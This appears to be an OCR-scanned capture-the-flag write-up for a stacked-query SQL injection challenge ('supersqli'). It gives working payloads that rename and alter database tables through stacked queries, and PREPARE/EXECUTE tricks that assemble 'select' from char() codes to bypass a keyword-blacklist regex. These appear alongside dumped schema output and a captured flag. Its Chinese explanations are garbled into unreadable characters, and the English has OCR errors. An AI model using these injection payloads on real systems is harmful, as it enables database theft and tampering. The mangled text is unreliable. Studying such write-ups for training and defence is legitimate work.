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array (2) {

[0l=»

string(l) “1”

[11=>

string(7) “hahahah”
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error 1064 : You have an error in vour SQL svntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ~'1""7 at line 1
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return preg match(”/select update|delete drop|insert where|\./i”, $inject);
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error 1105 : XPATH syntax error: ' supersqli’
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ZfEHmysqli_multi_query () E#, 2SXEAEIEHT — L FEERIE, BTLIN 2 7B EA B
FA, T EEMHselectyi%, Ffshow databases K& & H#5 /5

M FEXREERIESEE, Rii—aif: ARNESR—F0

Z8: 1 [E=3

array(2) {
[o1=>
string(l) "1”
=

string(7) “hahahah”
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array (1) {
[0]=>
string(1l) “ctftraining”

array (1) {
[o]=>
string(18) "information_schema”

array (1) {
[o]=>
string(5) “mysql”

array (1) {
[o]=>
string(18) “performance_schema”

array (1) {
[o]=>
string(9) “supersqli”

array (1) {
[o]=
string(4) “test”
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string(7) “hahahah”
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array (1) {
[0]=>
string(16) "1919810931114514”
}
array(l) {
[o1=>
string(5) “words”
1
!

words Z 4 19 K 254

array(6) {
[o]l=>
string(2) “id”
[1]=>
string(7) "int(10)”
[2]=
string(2) "NO”
[3]1=>
string(0) ””
[4]=>
NULL
[5]1=>
string(0) "
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array(6) {
[0]l=>
string(4) “data”
1=
string(1l) “varchar(20)”
[2]=>
string(2) “NO”
[3]=>
string(0) ””
[4]=>
NULL
[5]1=>
string(0) ””
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array(6) |
[ol=>
string(4) “flag”
[1]1=>
string (12) “varchar (100)”
[2]=>
string(2) “N0O”
[3]1=>
string(0) 77
[4]=>
NULL
[5]=>
string(0)
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-1';

rename table “words® to “word’;

rename table ~1919810931114514° to “words’;

alter table “words® change “flag® “id" varchar(109);

show columns from words;--+

# ALTER TABLE tiger (&%) CHANGE tigername(E&HH%]) name (E)EMHI%14) VARCHAR(20) (KA ;
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arrav(l) {
L0l=>
string(42) “flag{b3ee2a9d-df92-425d-94ce-363059bhdd2al;”
}
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PREPARE name from '[my sql sequece]'; //FiE XSQLiEAH]
EXECUTE name; //#ATHiE XL SQLIEH
(DEALLOCATE || DROP) PREPARE name; //MIB&TisE X SQLIEH)
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char(115,101,108,101,99,116)<----->'select’
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1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from ~1919810931114514" ');EXECUTE hacker;#
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1';PREPARE hacker from concat('s','elect', ' * from 1919810931114514 ');EXECUTE hacker;#
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